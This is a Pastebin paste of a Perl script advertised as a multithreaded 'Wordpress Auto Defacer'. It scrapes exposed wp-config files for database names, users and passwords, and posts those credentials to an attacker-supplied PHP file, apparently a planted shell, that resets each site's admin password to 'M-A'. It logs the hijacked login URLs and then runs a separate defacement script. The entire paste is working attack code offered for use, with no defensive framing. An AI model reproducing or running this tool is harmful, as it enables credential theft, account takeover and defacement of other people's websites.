M-A

wp_deface

M-A
Jul 20th, 2015
405
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 5.53 KB | None | 0 0
  1. #!/usr/bin/perl
  2. # m-a_labz
  3. # WwW.janissaries.OrG
  4. use strict;
  5. use threads;
  6. use threads::shared;
  7. use WWW::Mechanize;
  8. use Term::ANSIColor;
  9. use Win32::Console::ANSI;
  10. use HTTP::Request;
  11. use LWP::Simple;
  12. #Threads Nember :)
  13. my $threads = 5;
  14. system ("del hh.txt&del paths.txt&del valids.txt&del link.txt&del php-link.txt&del wpsite.txt &del wpdeface.txt");
  15.  
  16. my $ua = LWP::UserAgent->new;
  17. $ua->timeout(15);
  18. $ua->agent('Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1) Gecko/20090624 Firefox/3.5');
  19.  
  20. my @paths : shared;
  21. my @aa : shared;
  22. my @confz : shared;
  23. my @infos : shared;
  24. print color("bold red"), q{
  25. [+] Wordpress Auto Defacer + Threads ;)
  26. [+]               www.janissaries.org
  27. };print color("reset");
  28. print "\n[.] Starting...\n";
  29. Make_Paths();
  30. GetPaths();
  31. print "\n[.] Getting Details From Configs\n\n";
  32. Get_Info_DB();
  33. while (threads->list) {}
  34. print "[+] All Details Was Taked !\n\n";
  35. print "[.] Changing Webs (Usr & Pwd) In progress ..\n\n";
  36. GetInfo ();
  37. Get_Info_Chang();
  38. while (threads->list) {}
  39. print "[.] Defacing Webs In progress ..\n\n";
  40. system ("perl def.pl wpsite.txt");
  41.  
  42.  
  43.  
  44. sub Make_Paths {
  45. print "\n[.] Enter Configs Link : ";
  46. my $url = <>;
  47. chomp($url);
  48. open(TCN,">>link.txt");
  49. print TCN "$url\n";
  50. close(TCN);
  51. print "\n[.] Enter (PHP) File Link : ";
  52. my $query = <>;
  53. open(N,">>php-link.txt");
  54. print N "$query\n";
  55. close(N);
  56. chomp($query);
  57. my $content = $ua->get($url)->content;
  58. while( $content =~m{<li><a href="(.*?)">}g) {
  59. my $path = $1;
  60. open(TNN,">>hh.txt");
  61. print TNN "$path\n";
  62. close(TNN);
  63. }
  64. open( DOM, "hh.txt" ) or die "$!\n";
  65.         while( defined( my $line_ = <DOM> ) ) {
  66.                 chomp( $line_ );
  67.                 push( @aa, $line_ );
  68.         }
  69.         foreach my $a(@aa){
  70.         if($a =~ /.txt/) {my $name_conf = $a;
  71.         push (@confz, $name_conf);
  72.         }
  73.         }
  74.         foreach my $conf (@confz){
  75.         open(TNN,">>Paths.txt");
  76.         print TNN "$conf\n";
  77.         close(TNN);
  78.         }
  79. }
  80. sub GetInfo {
  81.         open( DOM, "valids.txt" ) or die "$!\n";
  82.         while( defined( my $line_ = <DOM> ) ) {
  83.                 chomp( $line_ );
  84.                 push( @infos, $line_ );
  85.         }
  86.         close( DOM );
  87. }
  88. sub GetPaths {
  89.         open( DOM, "paths.txt" ) or die "$!\n";
  90.         while( defined( my $line_ = <DOM> ) ) {
  91.                 chomp( $line_ );
  92.                 push( @paths, $line_ );
  93.         }
  94.         close( DOM );
  95. }
  96. sub Get_Info_DB {
  97.         foreach my $path( @paths ) {
  98.                 my  $ctr = 0;
  99.                 foreach my $thr ( threads->list ) { $ctr++; }
  100.                 if ($ctr < $threads){
  101.                         threads->create( \&Check_Info_DB,$path );
  102.                 }
  103.                 else { redo; }
  104.         }
  105. }
  106. sub Get_Info_Chang {
  107.         foreach my $info( @infos ) {
  108.                 my  $ctr = 0;
  109.                 foreach my $thr ( threads->list ) { $ctr++; }
  110.                 if ($ctr < $threads){
  111.                         threads->create( \&Change_Info,$info );
  112.                 }
  113.                 else { redo; }
  114.         }
  115. }
  116. sub Change_Info {
  117.         my $info = shift;
  118.         chomp( $info );
  119.         open (EE, "<php-link.txt") || die "$!";
  120.         my @EE = <EE>;
  121.         close EE;
  122.         foreach my $E (@EE) {
  123.         chomp $E;
  124.         my @p1 = split(/\@/, $info);
  125.         my @p2 = split(/\:/, @p1[1]);
  126.                                 my $lwp=LWP::UserAgent->new;
  127.                                 my $res=$lwp  -> post($E,[
  128.                                 'db'     => @p1[0],
  129.                                 'userdb'   => @p2[0],
  130.                                 'passdb' => @p2[1],
  131.                                 'mdpass' => 'M-A',
  132.                                 'ch1' => '2',
  133.                                 'submit' => '\#- Done -\#'
  134.                                 ]);
  135.                                 if ($res->content=~m{URL : ~>  (.*?)<br>}g) {
  136.                                 my $web = $1 ;
  137.  
  138.                                 if ($web =~/^http:\/\//){
  139.                                 my @p1 = split(/http:\/\//, $web);
  140.                                 open(BB,">>wpsite.txt");
  141.                                 print BB "@p1[1]/wp-login.php";
  142.                                 print BB "\@admin";
  143.                                 print BB ":M-A\n";
  144.                                 close(BB);
  145.                                 }
  146.                                 }
  147.                                 else
  148.                                 {
  149.                                 }
  150.  
  151.                }
  152.                threads->detach();
  153. }
  154. sub Check_Info_DB {
  155.         my $path = shift;
  156.         chomp( $path );
  157.         open (DOMAINS, "<link.txt") || die "$!";
  158.         my @DOMAINS = <DOMAINS>;
  159.         close DOMAINS;
  160.         foreach my $K (@DOMAINS) {
  161.         chomp $K;
  162.         my $target = "$K".$path;
  163.         my $request = HTTP::Request->new(GET=>$target);
  164.         my $response = $ua->request($request);
  165.         if ($response->content=~m{define\(\'DB_NAME', '(.*?)'}g){
  166.         my $db_name = $1;
  167.         open(TN,">>valids.txt");
  168.         print TN "$db_name";
  169.         close(TN);
  170.         }
  171.         if ($response->content=~m{define\(\'DB_USER', '(.*?)'}g){
  172.         my $db_user = $1;
  173.         open(TN,">>valids.txt");
  174.         print TN "\@$db_user";
  175.         close(TN);
  176.         }
  177.         if ($response->content=~m{define\(\'DB_PASSWORD', '(.*?)'}g){
  178.         my $db_password = $1;
  179.         open(TN,">>valids.txt");
  180.         print TN ":$db_password\n";
  181.         close(TN);
  182.         }
  183.         else {
  184.         }
  185.         }
  186.         threads->detach();
  187. }
Advertisement
Add Comment
Please, Sign In to add comment